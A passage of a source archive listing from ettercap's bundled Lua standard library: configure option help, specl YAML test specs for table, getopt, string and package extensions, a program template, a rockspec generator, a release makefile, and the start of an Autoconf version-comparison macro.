Invocation ====================== `configure' recognizes the following options to control how it operates. `--help' `-h' Print a summary of all of the options to `configure', and exit. `--help=short' `--help=recursive' Print a summary of the options unique to this package's `configure', and exit. The `short' variant lists options used only in the top level, while the `recursive' variant lists options also present in any nested packages. `--version' `-V' Print the version of Autoconf used to generate the `configure' script, and exit. `--cache-file=FILE' Enable the cache: use and save the results of the tests in FILE, traditionally `config.cache'. FILE defaults to `/dev/null' to disable caching. `--config-cache' `-C' Alias for `--cache-file=config.cache'. `--quiet' `--silent' `-q' Do not print messages saying which checks are being made. To suppress all normal output, redirect it to `/dev/null' (any error messages will still be shown). `--srcdir=DIR' Look for the package's source code in directory DIR. Usually `configure' can determine that directory automatically. `--prefix=DIR' Use DIR as the installation prefix. *note Installation Names:: for more details, including other options available for fine-tuning the installation locations. `--no-create' `-n' Run the configure checks, but stop before creating any output files. `configure' also accepts some other, not widely useful, options. Run `configure --help' for more details. ettercap-0.8.3/src/lua/share/third-party/stdlib/specs/0000755000175000017500000000000013505247364022513 5ustar koeppeakoeppeaettercap-0.8.3/src/lua/share/third-party/stdlib/specs/table_ext_spec.yaml0000644000175000017500000002062213505247364026362 0ustar koeppeakoeppeaspecify table_ext: - before: unextended = require "table_ext" - "describe table.clone ()": - before: subject = { k1 = {"v1"}, k2 = {"v2"}, k3 = {"v3"} } f = table.clone - it does not just return the subject: expect (f (subject)).should_not_be (subject) - it does copy the subject: expect (f (subject)).should_equal (subject) - it only makes a shallow copy: expect (f (subject).k1).should_be (subject.k1) - the original subject is not perturbed: target = { k1 = subject.k1, k2 = subject.k2, k3 = subject.k3 } copy = f (subject) expect (subject).should_equal (target) expect (subject).should_be (subject) - "it diagnoses non-table arguments": expect ("table expected").should_error (f, nil) expect ("table expected").should_error (f, "foo") - "describe table.clone_rename()": - before: subject = { k1 = {"v1"}, k2 = {"v2"}, k3 = {"v3"} } f = table.clone_rename - it does not just return the subject: expect (f ({}, subject)).should_not_be (subject) - it copies the subject: expect (f ({}, subject)).should_equal (subject) - it only makes a shallow copy: expect (f ({}, subject).k2).should_be (subject.k2) - context when renaming some keys: - before: target = { newkey = subject.k1, k2 = subject.k2, k3 = subject.k3 } - it renames during cloning: expect (f ({k1 = "newkey"}, subject)).should_equal (target) - it does not perturb the value in the renamed key field: expect (f ({k1 = "newkey"}, subject).newkey).should_be (subject.k1) - "it diagnoses non-table arguments": expect ("table expected").should_error (f, {}, nil) expect ("table expected").should_error (f, {}, "foo") - "describe table.empty ()": - before: f = table.empty - it returns true for an empty table: expect (f {}).should_be (true) expect (f {nil}).should_be (true) - "it returns false for a non-empty table": expect (f {"stuff"}).should_be (false) expect (f {{}}).should_be (false) expect (f {false}).should_be (false) - "it diagnoses non-table arguments": expect ("table expected").should_error (f, nil) expect ("table expected").should_error (f, "foo") - "describe table.invert ()": - before: subject = { k1 = 1, k2 = 2, k3 = 3 } f = table.invert - it returns a new table: expect (f (subject)).should_not_be (subject) - it inverts keys and values in the returned table: expect (f (subject)).should_equal { "k1", "k2", "k3" } - it is reversible: expect (f (f (subject))).should_equal (subject) - "it seems to copy a list of 1..n numbers": subject = { 1, 2, 3 } expect (f (subject)).should_equal (subject) expect (f (subject)).should_not_be (subject) - "it diagnoses non-table arguments": expect ("table expected").should_error (f, nil) expect ("table expected").should_error (f, "foo") - "describe table.keys ()": - before: subject = { k1 = 1, k2 = 2, k3 = 3 } f = table.keys - it returns an empty list when subject is empty: expect (f {}).should_equal {} - it makes a list of table keys: cmp = function (a, b) return a < b end expect (table.sort (f (subject), cmp)).should_equal {"k1", "k2", "k3"} - it does not guarantee stable ordering: subject = {} -- is this a good test? there is a vanishingly small possibility the -- returned table will have all 10000 keys in the same order... for i = 10000, 1, -1 do table.insert (subject, i) end expect (f (subject)).should_not_equal (subject) - "it diagnoses non-table arguments": expect ("table expected").should_error (f, nil) expect ("table expected").should_error (f, "foo") - "describe table.merge ()": - before: | -- Additional merge keys which are moderately unusual t1 = { k1 = {"v1"}, k2 = "if", k3 = {"?"} } t2 = { ["if"] = true, [{"?"}] = false, _ = "underscore", k3 = t1.k1 } f = table.merge target = {} for k, v in pairs (t1) do target[k] = v end for k, v in pairs (t2) do target[k] = v end - it does not create a whole new table: expect (f (t1, t2)).should_be (t1) - it does not change t1 when t2 is empty: expect (f (t1, {})).should_be (t1) - it copies t2 when t1 is empty: expect (f ({}, t1)).should_not_be (t1) expect (f ({}, t1)).should_equal (t1) - it merges keys from t2 into t1: expect (f (t1, t2)).should_equal (target) - it gives precedence to values from t2: original = table.clone (t1) m = f (t1, t2) -- Merge is destructive, do it once only. expect (m.k3).should_be (t2.k3) expect (m.k3).should_not_be (original.k3) - "it diagnoses non-table arguments": expect ("table expected").should_error (f, nil, nil) expect ("table expected").should_error (f, "foo", "bar") - "describe table.new ()": - before: f = table.new - context when not setting a default: - before: default = nil - it returns a new table when nil is passed: expect (f (default, nil)).should_equal {} - it returns any table passed in: t = { "unique table" } expect (f (default, t)).should_be (t) - context when setting a default: - before: default = "default" - it returns a new table when nil is passed: expect (f (default, nil)).should_equal {} - it returns any table passed in: t = { "unique table" } expect (f (default, t)).should_be (t) - it returns the stored value for existing keys: t = f ("default") v = { "unique value" } t[1] = v expect (t[1]).should_be (v) - it returns the constructor default for unset keys: t = f ("default") expect (t[1]).should_be "default" - it returns the actual default object: default = { "unique object" } t = f (default) expect (t[1]).should_be (default) - "it diagnoses non-tables/non-nil in the second argument": expect ("table expected").should_error (f, nil, "foo") - "describe table.size ()": - before: | -- - 1 - --------- 2 ---------- -- 3 -- subject = { "one", { { "two" }, "three" }, four = 5 } f = table.size - it counts the number of keys in a table: expect (f (subject)).should_be (3) - it counts no keys in an empty table: expect (f {}).should_be (0) - "it diagnoses non-table arguments": expect ("table expected").should_error (f, nil) expect ("table expected").should_error (f, "foo") - "describe table.sort ()": - before: subject = { 5, 2, 4, 1, 0, 3 } target = { 0, 1, 2, 3, 4, 5 } cmp = function (a, b) return a < b end f = table.sort - it sorts elements in place: f (subject, cmp) expect (subject).should_equal (target) - it returns the sorted table: expect (f (subject, cmp)).should_equal (target) - "it diagnoses non-table arguments": expect ("table expected").should_error (f, nil) expect ("table expected").should_error (f, nil) - "describe table.values ()": - before: subject = { k1 = {1}, k2 = {2}, k3 = {3} } f = table.values - it returns an empty list when subject is empty: expect (f {}).should_equal {} - it makes a list of table values: cmp = function (a, b) return a[1] < b[1] end expect (table.sort (f (subject), cmp)).should_equal {{1}, {2}, {3}} - it does guarantee stable ordering: subject = {} -- is this a good test? or just requiring an implementation quirk? for i = 10000, 1, -1 do table.insert (subject, i) end expect (f (subject)).should_equal (subject) - "it diagnoses non-table arguments": expect ("table expected").should_error (f, nil) expect ("table expected").should_error (f, "foo") - context when requiring the module: - before: extensions = { "clone", "clone_rename", "empty", "invert", "keys", "merge", "new", "size", "sort", "values" } - it returns the unextended module table: for _, api in ipairs (extensions) do if api ~= "sort" then expect (unextended[api]).should_be (nil) end end - it injects an enhanced sort function: expect (unextended.sort).should_not_be (table.sort) - it does not override any other module access points: for api in pairs (unextended) do if api ~= "sort" then expect (table[api]).should_be (unextended[api]) end end ettercap-0.8.3/src/lua/share/third-party/stdlib/specs/getopt_spec.yaml0000644000175000017500000000536613505247364025725 0ustar koeppeakoeppeaspecify getopt: - before: getopt = require "getopt" - "describe getopt.getOpt": - before: | prog = { name = "getopt_spec.lua", options = { {{"verbose", "v"}, "verbosely list files"}, {{"output", "o"}, "dump to FILE", "Opt", "FILE"}, {{"name", "n"}, "only dump USER's files", "Req", "USER"}, } } function test (cmdLine, stop_at_nonopt) local nonOpts, opts, errors = getopt.getOpt (cmdLine, prog.options, stop_at_nonopt) if #errors == 0 then return { options = opts, args = nonOpts } else return errors end end getopt.processArgs (prog) - it recognizes a user defined option: expect (test {"foo", "-v"}).should_equal ( { options = { verbose = {1}}, args = { "foo" } }) - "it treats -- as the end of the option list": expect (test {"foo", "--", "-v"}).should_equal ( { options = {}, args = { "foo", "-v" } }) - it captures a list of repeated option arguments: expect (test {"-o", "-V", "-name", "bar", "--name=baz"}).should_equal ( { options = { name = {"bar", "baz"}, version = {1}, output = {1}}, args = {} }) - it diagnoses unrecognized options: expect (test {"-foo"}).should_contain "unrecognized option `-foo'" - it stops option parsing at the first non-option if told to: expect (test ({"foo", "-bar"}, true)).should_equal ( { options = {}, args = {"foo", "-bar"} }) - "describe getopt.usageInfo": - context when specifying options: - before: helppatt = "%-h, %-%-help%s+print this help, then exit" versionpatt = "%-V, %-%-version%s+print version information, then exit" prog = { name = "getopt_spec.lua", options = {} } options = { {{"help", "?"}, "display this help"}, {{"version"}, "display version number"} } f = getopt.usageInfo - it provides a default version option: getopt.processArgs (prog) expect (f ("", prog.options)).should_match (versionpatt) - it allows the user to override the version option: prog.options = options getopt.processArgs (prog) expect (f ("", prog.options)).should_not_match (versionpatt) expect (f ("", prog.options)).should_match (" %-%-version%s+display") - it provides a default help option: getopt.processArgs (prog) expect (f ("", prog.options)).should_match (helppatt) - it allows the user to override the help option: prog.options = options getopt.processArgs (prog) expect (f ("", prog.options)).should_not_match (helppatt) expect (f ("", prog.options)).should_match ("%-%?, %-%-help%s+display") ettercap-0.8.3/src/lua/share/third-party/stdlib/specs/string_ext_spec.yaml0000644000175000017500000003645013505247364026607 0ustar koeppeakoeppeaspecify string_ext: - before: unextended = require "string_ext" subject = "a string \n\n" - "describe .. operator": - it concatenates string arguments: target = "a string \n\n another string" expect (subject .. " another string").should_be (target) - "it stringifies non-string arguments": argument = { "a table" } expect (subject .. argument).should_match (string.format ("%s{1=a table}", subject)) - it stringifies nil arguments: argument = nil expect (subject .. argument).should_be (string.format ("%s%s", subject, tostring (argument))) - the original subject is not perturbed: original = subject newstring = subject .. " concatenate something" expect (subject).should_be (original) - "describe string.caps ()": - before: f = string.caps - it capitalises words of a string: target = "A String \n\n" expect (f (subject)).should_be (target) - it changes only the first letter of each word: expect (f "a stRiNg").should_be "A StRiNg" - the original subject is not perturbed: original = subject newstring = f (subject) expect (subject).should_be (original) - "it diagnoses non-string arguments": expect ("string expected").should_error (f, nil) expect ("string expected").should_error (f, { "a table" }) - "describe string.chomp ()": - before: f = string.chomp - it removes a single trailing newline from a string: target = "a string \n" expect (f (subject)).should_be (target) - it does not change a string with no trailing newline: subject = "a string " expect (f (subject)).should_be (subject) - the original subject is not perturbed: original = subject newstring = f (subject) expect (subject).should_be (original) - "it diagnoses non-string arguments": expect ("string expected").should_error (f, nil) expect ("string expected").should_error (f, { "a table" }) - "describe string.escape_pattern ()": - before: f = string.escape_pattern - "it inserts a % before any non-alphanumeric in a string": subject, target = "", "" for c = 32, 126 do s = string.char (c) subject = subject .. s if s:match ("%W") then target = target .. "%" end target = target .. s end expect (f (subject)).should_be (target) - legacy escapePattern call is the same function: expect (string.escapePattern).should_be (f) - the original subject is not perturbed: original = subject newstring = f (subject) expect (subject).should_be (original) - "it diagnoses non-string arguments": expect ("string expected").should_error (f, nil) expect ("string expected").should_error (f, { "a table" }) - "describe string.escape_shell ()": - before: f = string.escape_shell - "it inserts a \\ before any shell metacharacters": subject, target = "", "" for c = 32, 126 do s = string.char (c) subject = subject .. s if s:match ("[][ ()\\\"']") then target = target .. "\\" end target = target .. s end expect (f (subject)).should_be (target) - legacy escapeShell call is the same function: expect (string.escapeShell).should_be (f) - the original subject is not perturbed: original = subject newstring = f (subject) expect (subject).should_be (original) - "it diagnoses non-string arguments": expect ("string expected").should_error (f, nil) expect ("string expected").should_error (f, { "a table" }) - "describe string.finds ()": - before: subject = "abcd" f = string.finds - it creates a list of pattern captures: target = { { 1, 2; capt = { "a", "b" } }, { 3, 4; capt = { "c", "d" } } } expect ({f (subject, "(.)(.)")}).should_equal ({ target }) - it creates an empty list where no captures are matched: target = {} expect ({f (subject, "(x)")}).should_equal ({ target }) - it creates an empty list for a pattern without captures: target = { { 1, 1; capt = {} } } expect ({f (subject, "a")}).should_equal ({ target }) - it starts the search at a specified index into the subject: target = { { 8, 9; capt = { "a", "b" } }, { 10, 11; capt = { "c", "d" } } } expect ({f ("garbage" .. subject, "(.)(.)", 8)}).should_equal ({ target }) - the original subject is not perturbed: original = subject newstring = f (subject, "...") expect (subject).should_be (original) - "it diagnoses non-string arguments": expect ("string expected").should_error (f, nil) expect ("string expected").should_error (f, { "a table" }) # FIXME: This looks like a misfeature to me, let's remove it! - "describe string.format ()": - before: | subject = "string: %s, number: %d" f = string.format - it returns a single argument without attempting formatting: expect (f (subject)).should_be (subject) - the original subject is not perturbed: original = subject newstring = f (subject) expect (subject).should_be (original) - "it diagnoses non-string arguments": expect ("string expected").should_error (f, nil, "arg") expect ("string expected").should_error (f, { "a table" }, "arg") - "describe string.ltrim ()": - before: subject = " \t\r\n a short string \t\r\n " f = string.ltrim - it removes whitespace from the start of a string: target = "a short string \t\r\n " expect (f (subject)).should_equal (target) - it supports custom removal patterns: target = "\r\n a short string \t\r\n " expect (f (subject, "[ \t\n]+")).should_equal (target) - the original subject is not perturbed: original = subject newstring = f (subject, "%W") expect (subject).should_be (original) - "it diagnoses non-string arguments": expect ("string expected").should_error (f, nil) expect ("string expected").should_error (f, { "a table" }) - "describe string.numbertosi ()": - before: f = string.numbertosi - it returns a number using SI suffixes: target = {"1e-9", "1y", "1z", "1a", "1f", "1p", "1n", "1mu", "1m", "1", "1k", "1M", "1G", "1T", "1P", "1E", "1Z", "1Y", "1e9"} subject = {} for n = -28, 28, 3 do m = 10 * (10 ^ n) table.insert (subject, f (m)) end expect (subject).should_equal (target) - it coerces string arguments to a number: expect (f "1000").should_be "1k" - "it diagnoses non-numeric arguments": expect ("attempt to perform arithmetic").should_error (f, nil) expect ("number expected").should_error (f, { "a table" }) - "describe string.ordinal_suffix ()": - before: f = string.ordinal_suffix - it returns the English suffix for a number: subject, target = {}, {} for n = -120, 120 do suffix = "th" m = math.abs (n) % 10 if m == 1 and math.abs (n) % 100 ~= 11 then suffix = "st" elseif m == 2 and math.abs (n) % 100 ~= 12 then suffix = "nd" elseif m == 3 and math.abs (n) % 100 ~= 13 then suffix = "rd" end table.insert (target, n .. suffix) table.insert (subject, n .. f (n)) end expect (subject).should_equal (target) - legacy ordinalSuffix call is the same function: expect (string.ordinalSuffix).should_be (f) - it coerces string arguments to a number: expect (f "-91").should_be "st" - "it diagnoses non-numeric arguments": expect ("number expected").should_error (f, nil) expect ("number expected").should_error (f, { "a table" }) - "describe string.pad ()": - before: width = 20 f = string.pad - context when string is shorter than given width: - before: subject = "short string" - it right pads a string to the given width with spaces: target = "short string " expect (f (subject, width)).should_be (target) - it left pads a string to the given negative width with spaces: width = -width target = " short string" expect (f (subject, width)).should_be (target) - context when string is longer than given width: - before: subject = "a string that's longer than twenty characters" - it truncates a string to the given width: target = "a string that's long" expect (f (subject, width)).should_be (target) - it left pads a string to given width with spaces: width = -width target = "an twenty characters" expect (f (subject, width)).should_be (target) - the original subject is not perturbed: original = subject newstring = f (subject, width) expect (subject).should_be (original) - "it coerces non-string arguments to a string": expect (f ({ "a table" }, width)).should_contain "a table" - "it diagnoses non-numeric width arguments": expect ("number expected").should_error (f, subject, nil) expect ("number expected").should_error (f, subject, { "a table" }) - "describe string.rtrim ()": - before: subject = " \t\r\n a short string \t\r\n " f = string.rtrim - it removes whitespace from the end of a string: target = " \t\r\n a short string" expect (f (subject)).should_equal (target) - it supports custom removal patterns: target = " \t\r\n a short string \t\r" expect (f (subject, "[ \t\n]+")).should_equal (target) - the original subject is not perturbed: original = subject newstring = f (subject, "%W") expect (subject).should_be (original) - "it diagnoses non-string arguments": expect ("string expected").should_error (f, nil) expect ("string expected").should_error (f, { "a table" }) - "describe string.split ()": - before: target = { "first", "the second one", "final entry" } subject = table.concat (target, ", ") f = string.split - it makes a table of substrings delimitied by a separator: expect (f (subject, ", ")).should_equal (target) - the original subject is not perturbed: original = subject newstring = f (subject, "e") expect (subject).should_be (original) - "it diagnoses non-string arguments": expect ("string expected").should_error (f, "a string", nil) expect ("string expected").should_error (f, nil, ",") expect ("string expected").should_error (f, { "a table" }, ",") - "describe string.tfind ()": - before: subject = "abc" f = string.tfind - it creates a list of pattern captures: target = { 1, 3, { "a", "b", "c" } } expect ({f (subject, "(.)(.)(.)")}).should_equal (target) - it creates an empty list where no captures are matched: target = { nil, nil, {} } expect ({f (subject, "(x)(y)(z)")}).should_equal (target) - it creates an empty list for a pattern without captures: target = { 1, 1, {} } expect ({f (subject, "a")}).should_equal (target) - it starts the search at a specified index into the subject: target = { 8, 10, { "a", "b", "c" } } expect ({f ("garbage" .. subject, "(.)(.)(.)", 8)}).should_equal (target) - the original subject is not perturbed: original = subject newstring = f (subject, "...") expect (subject).should_be (original) - "it diagnoses non-string arguments": expect ("string expected").should_error (f, nil) expect ("string expected").should_error (f, { "a table" }) - "describe string.trim ()": - before: subject = " \t\r\n a short string \t\r\n " f = string.trim - it removes whitespace from each end of a string: target = "a short string" expect (f (subject)).should_equal (target) - it supports custom removal patterns: target = "\r\n a short string \t\r" expect (f (subject, "[ \t\n]+")).should_equal (target) - the original subject is not perturbed: original = subject newstring = f (subject, "%W") expect (subject).should_be (original) - "it diagnoses non-string arguments": expect ("string expected").should_error (f, nil) expect ("string expected").should_error (f, { "a table" }) - "describe string.wrap ()": - before: subject = "This is a collection of Lua libraries for Lua 5.1 " .. "and 5.2. The libraries are copyright by their authors 2000" .. "-2013 (see the AUTHORS file for details), and released und" .. "er the MIT license (the same license as Lua itself). There" .. " is no warranty." f = string.wrap - it inserts newlines to wrap a string: target = "This is a collection of Lua libraries for Lua 5.1 a" .. "nd 5.2. The libraries are\ncopyright by their authors 2000" .. "-2013 (see the AUTHORS file for details), and\nreleased un" .. "der the MIT license (the same license as Lua itself). Ther" .. "e is no\nwarranty." expect (f (subject)).should_be (target) - it honours a column width parameter: target = "This is a collection of Lua libraries for Lua 5.1 a" .. "nd 5.2. The libraries\nare copyright by their authors 2000" .. "-2013 (see the AUTHORS file for\ndetails), and released un" .. "der the MIT license (the same license as Lua\nitself). The" .. "re is no warranty." expect (f (subject, 72)).should_be (target) - it supports indenting by a fixed number of columns: target = " This is a collection of Lua libraries for L" .. "ua 5.1 and 5.2. The\n libraries are copyright by th" .. "eir authors 2000-2013 (see the\n AUTHORS file for d" .. "etails), and released under the MIT license\n (the " .. "same license as Lua itself). There is no warranty." expect (f (subject, 72, 8)).should_be (target) - it can indent the first line differently: target = " This is a collection of Lua libraries for Lua 5" .. ".1 and 5.2.\n The libraries are copyright by their author" .. "s 2000-2013 (see\n the AUTHORS file for details), and rel" .. "eased under the MIT\n license (the same license as Lua it" .. "self). There is no\n warranty." expect (f (subject, 64, 2, 4)).should_be (target) - the original subject is not perturbed: original = subject newstring = f (subject, 55, 5) expect (subject).should_be (original) - it diagnoses indent greater than line width: expect ("less than the line width").should_error (f, subject, 10, 12) expect ("less than the line width").should_error (f, subject, 99, 99) - it diagnoses non-string arguments: expect ("string expected").should_error (f, nil) expect ("string expected").should_error (f, { "a table" }) - context when requiring the module: - before: extensions = { "caps", "chomp", "escape_pattern", "escape_shell", "finds", "format", "ltrim", "numbertosi", "ordinal_suffix", "pad", "rtrim", "split", "tfind", "trim", "wrap" } - it returns the unextended module table: for _, api in ipairs (extensions) do if api ~= "format" then expect (unextended[api]).should_be (nil) end end - it injects an enhanced format function: expect (unextended.format).should_not_be (table.format) - it does not override any other module access points: for api in pairs (unextended) do if api ~= "format" then expect (string[api]).should_be (unextended[api]) end end ettercap-0.8.3/src/lua/share/third-party/stdlib/specs/package_ext_spec.yaml0000644000175000017500000000213413505247364026664 0ustar koeppeakoeppeaspecify package_ext: - before: unextended = require "package_ext" - context when requiring the module: - before: | -- do not try to check all the entries in unextended package, -- because they naturally change as modules are loaded. apis = { "config", "cpath", "loaders", "loadlib", "preload", "searchers", "searchpath", "seeall" } - it returns the unextended package table: expect (unextended.config).should_be (package.config) expect (unextended.dirsep).should_be (nil) expect (unextended.pathsep).should_be (nil) expect (unextended.path_mark).should_be (nil) expect (unextended.execdir).should_be (nil) expect (unextended.igmark).should_be (nil) - "it splits package.config up": expect (string.format ("%s\n%s\n%s\n%s\n%s\n", package.dirsep, package.pathsep, package.path_mark, package.execdir, package.igmark) ).should_contain (package.config) - it does not override any other module access points: for _, api in ipairs (apis) do expect (package[api]).should_be (unextended[api]) end ettercap-0.8.3/src/lua/share/third-party/stdlib/template.lua0000644000175000017500000000117513505247364023720 0ustar koeppeakoeppea#! /usr/bin/env lua prog = { name = arg[0]:gsub ("^.*/", ""),, version = "VERSION (DATE) by AUTHOR )", purpose = "ONE LINE DESCRIPTION OF WHAT THIS PROGRAM DOES", description = "optional longer description of how to use this program", copyright = "Copyright (C) YEAR COPYRIGHT-HOLDER", notes = "Usage footer messasge", } require "std" -- Process a file function main (file, number) end -- Command-line options prog.options = { getopt.Option {{"test", "t"}, "test option"}, } -- Main routine getopt.processArgs (prog) io.processFiles (main) -- Changelog -- 0.1 Program started ettercap-0.8.3/src/lua/share/third-party/stdlib/mkrockspecs.lua0000644000175000017500000000251713505247364024432 0ustar koeppeakoeppea-- Generate rockspecs from a prototype with variants require "std" if select ("#", ...) < 2 then io.stderr:write "Usage: mkrockspecs PACKAGE VERSION\n" os.exit () end package_name = select (1, ...) version = select (2, ...) function format (x, indent) indent = indent or "" if type (x) == "table" then local s = "{\n" for i, v in pairs (x) do if type (i) ~= "number" then s = s..indent..i.." = "..format (v, indent.." ")..",\n" end end for i, v in ipairs (x) do s = s..indent..format (v, indent.." ")..",\n" end return s..indent:sub (1, -3).."}" elseif type (x) == "string" then return string.format ("%q", x) else return tostring (x) end end for f, spec in pairs (loadfile ("rockspecs.lua") ()) do if f ~= "default" then local specfile = package_name.."-"..(f ~= "" and f:lower ().."-" or "")..version.."-2.rockspec" h = io.open (specfile, "w") assert (h) flavour = f -- a global, visible in loadfile local specs = loadfile ("rockspecs.lua") () -- reload to get current flavour interpolated local spec = tree.merge (tree.new (specs.default), tree.new (specs[f])) local s = "" for i, v in pairs (spec) do s = s..i.." = "..format (v, " ").."\n" end h:write (s) h:close () os.execute ("luarocks lint " .. specfile) end end ettercap-0.8.3/src/lua/share/third-party/stdlib/GNUmakefile0000644000175000017500000000464713505247364023463 0ustar koeppeakoeppea## maintainer rules. dont-forget-to-bootstrap = $(wildcard Makefile) ifeq ($(dont-forget-to-bootstrap),) Makefile: Makefile.in ./configure $(MAKE) Makefile.in: autoreconf --force --verbose --install else # Use 'make check V=1' for verbose output, or set SPECL_OPTS to # pass alternative options to specl command. SPECL_OPTS ?= $(specl_verbose_$(V)) specl_verbose_ = $(specl_verbose_$(AM_DEFAULT_VERBOSITY)) specl_verbose_0 = specl_verbose_1 = --verbose --formatter=report include Makefile ROCKSPEC_ENV = $(LUA_ENV) MKROCKSPECS = $(ROCKSPEC_ENV) $(LUA) $(srcdir)/mkrockspecs.lua ROCKSPEC_TEMPLATE = $(srcdir)/$(PACKAGE)-rockspec.lua luarocks-config.lua: $(AM_V_GEN){ \ echo 'rocks_trees = {'; \ echo ' "$(abs_srcdir)/luarocks"'; \ echo '}'; \ } > '$@' rockspecs: luarocks-config.lua rm -f *.rockspec $(MKROCKSPECS) $(PACKAGE) $(VERSION) $(ROCKSPEC_TEMPLATE) $(MKROCKSPECS) $(PACKAGE) git $(ROCKSPEC_TEMPLATE) GIT ?= git tag-release: $(GIT) diff --exit-code && \ $(GIT) tag -f -a -m "Release tag" v$(VERSION)-2 define unpack-distcheck-release rm -rf $(PACKAGE)-$(VERSION)/ && \ tar zxf ../$(PACKAGE)/$(PACKAGE)-$(VERSION).tar.gz && \ cp -a -f $(PACKAGE)-$(VERSION)/* . && \ rm -rf $(PACKAGE)-$(VERSION)/ && \ echo "unpacked $(PACKAGE)-$(VERSION).tar.gz over current directory" && \ echo './configure && make all rockspecs' && \ ./configure --version && ./configure && \ $(MAKE) all rockspecs endef check-in-release: distcheck cd ../$(PACKAGE)-release && \ $(unpack-distcheck-release) && \ $(GIT) add . && \ $(GIT) commit -a -m "Release v$(VERSION)-2" && \ $(GIT) tag -f -a -m "Full source release tag" release-v$(VERSION)-2 ## To test the release process without publishing upstream, use: ## make release WOGER=: GIT_PUBLISH=: GIT_PUBLISH ?= $(GIT) WOGER ?= woger WOGER_ENV = LUA_INIT= LUA_PATH='$(abs_srcdir)/?-git-1.rockspec' WOGER_OUT = $(WOGER_ENV) $(LUA) -l$(PACKAGE) -e release: rockspecs $(MAKE) tag-release && \ $(MAKE) check-in-release && \ $(GIT_PUBLISH) push && $(GIT_PUBLISH) push --tags && \ LUAROCKS_CONFIG=$(abs_srcdir)/luarocks-config.lua luarocks \ --tree=$(abs_srcdir)/luarocks build $(PACKAGE)-$(VERSION)-2.rockspec && \ $(WOGER) lua \ package=$(PACKAGE) \ package_name=$(PACKAGE_NAME) \ version=$(VERSION) \ notes=release-notes-$(VERSION) \ home="`$(WOGER_OUT) 'print (description.homepage)'`" \ description="`$(WOGER_OUT) 'print (description.summary)'`" endif ettercap-0.8.3/src/lua/share/third-party/stdlib/m4/0000755000175000017500000000000013505247364021716 5ustar koeppeakoeppeaettercap-0.8.3/src/lua/share/third-party/stdlib/m4/ax_compare_version.m40000644000175000017500000001465213505247364026053 0ustar koeppeakoeppea# =========================================================================== # http://www.gnu.org/software/autoconf-archive/ax_compare_version.html # =========================================================================== # # SYNOPSIS # # AX_COMPARE_VERSION(VERSION_A, OP, VERSION_B, [ACTION-IF-TRUE], [ACTION-IF-FALSE]) # # DESCRIPTION # # This macro compares two version strings. Due to the various number of # minor-version numbers that can exist, and the fact that string # comparisons are not compatible with numeric comparisons, this is not # necessarily trivial to do in a autoconf script. This macro makes doing # these comparisons easy. # # The six basic comparisons are available, as well as checking equality # limited to a certain number of minor-version levels. # # The operator OP determines what type of comparison to do, and can be one # of: # # eq - equal (test A == B) # ne - not equal (test A != B) # le - less than or equal (test A <= B) # ge - greater than or equal (test A >= B) # lt - less than (test A < B) # gt - greater than (test A > B) # # Additionally, the eq and ne operator can have a number after it to limit # the test to that number of minor versions. # # eq0 - equal up to the length of the shorter version # ne0 - not equal up to the length of the shorter version # eqN - equal up to N sub-version levels # neN - not equal up to N sub-version levels # # When the condition is true, shell commands ACTION-IF-TRUE are run, # otherwise shell commands ACTION-IF-FALSE are run. The environment # variable 'ax_compare_version' is always set to either 'true' or 'false' # as well. # # Examples: # # AX_COMPARE_VERSION([3.15.7],[lt],[3.15.8]) # AX_COMPARE_VERSION([3.15],[lt],[3.15.8]) # # would both be true. # # AX_COMPARE_VERSION([3.15.7],[eq],[3.15.8]) # AX_COMPARE_VERSION([3.15],[gt],[3.15.8]) # # would both be false. # # AX_COMPARE_VERSION([3.15.7],[eq2],[3.15.8]) # # would be true because it is only comparing two minor versions. # # AX_COMPARE_VERSION([3.15.7],[eq0],[3.15]) # # would be true because it is only comparing the lesser number of minor # versions of the two values. # # Note: The characters that separate the version numbers do not matter. An # empty string is the same as version 0. OP is evaluated by autoconf, not # configure, so must be a string, not a variable. # # The author would like to acknowledge Guido Draheim whose advice about # the m4_case and m4_ifvaln functions make this macro only include the # portions necessary to perform the specific comparison specified by the # OP argument in the final configure script. # # LICENSE # # Copyright (c) 2008 Tim Toolan # # Copying and distribution of this file, with or without modification, are # permitted in any medium without royalty provided the copyright notice # and this notice are preserved. This file is offered as-is, without any # warranty. #serial 11 dnl ######################################################################### AC_DEFUN([AX_COMPARE_VERSION], [ AC_REQUIRE([AC_PROG_AWK]) # Used to indicate true or false condition ax_compare_version=false # Convert the two version strings to be compared into a format that # allows a simple string comparison. The end result is that a version # string of the form 1.12.5-r617 will be converted to the form # 0001001200050617. In other words, each number is zero padded to four # digits, and non digits are removed. AS_VAR_PUSHDEF([A],[ax_compare_version_A]) A=`echo "$1" | sed -e 's/\([[0-9]]*\)/Z\1Z/g' \ -e 's/Z\([[0-9]]\)Z/Z0\1Z/g' \ -e 's/Z\([[0-9]][[0-9]]\)Z/Z0\1Z/g' \ -e 's/Z\([[0-9]][[0-9]][[0-9]]\)Z/Z0\1Z/g' \ -e 's/[[^0-9]]//g'` AS_VAR_PUSHDEF([B],[ax_compare_version_B]) B=`echo "$3" | sed -e 's/\([[0-9]]*\)/Z\1Z/g' \ -e 's/Z\([[0-9]]\)Z/Z0\1Z/g' \ -e 's/Z\([[0-9]][[0-9]]\)Z/Z0\1Z/g' \ -e 's/Z\([[0-9]][[0-9]][[0-9]]\)Z/Z0\1Z/g' \ -e 's/[[^0-9]]//g'` dnl # In the case of le, ge, lt, and gt, the strings are sorted as necessary dnl # then the first line is used to determine if the condition is true. dnl # The sed right after the echo is to remove any indented white space. m4_case(m4_tolower($2), [lt],[ ax_compare_version=`echo "x$A x$B" | sed 's/^ *//' | sort -r | sed "s/x${A}/false/;s/x${B}/true/;1q"` ], [gt],[ ax_compare_version=`echo "x$A x$B" | sed 's/^ *//' | sort | sed "s/x${A}/false/;s/x${B}/true/;1q"` ], [le],[ ax_compare_version=`echo "x$A x$B" | sed 's/^ *//' | sort | sed "s/x${A}/true/;s/x${B}/false/;1q"` ], [ge],[ ax_compare_version=`echo "x$A x$B" | sed 's/^ *//' | sort -r | sed "s/x${A}/true/;s/x${B}/false/;1q"` ],[ dnl Split the operator from the subversion count if present. m4_bmatch(m4_substr($2,2), [0],[ # A count of zero means use the length of the shorter version. # Determine the number of characters in A and B. ax_compare_version_len_A=`echo "$A" | $AWK '{print(length)}'` ax_compare_version_len_B=`echo "$B" | $AWK '{print(length)}'` # Set A to no more than B's length and B to no more than A's length. A=`echo "$A" | sed "s/\(.\{$ax_compare_version_len_B\}\).*/\1/"` B=`echo "$B" | sed "s/\(.\{$ax_compare_version_len_A\}\).*/\1/"` ], [[0-9]+],[ # A count greater than zero means use only that many subversions 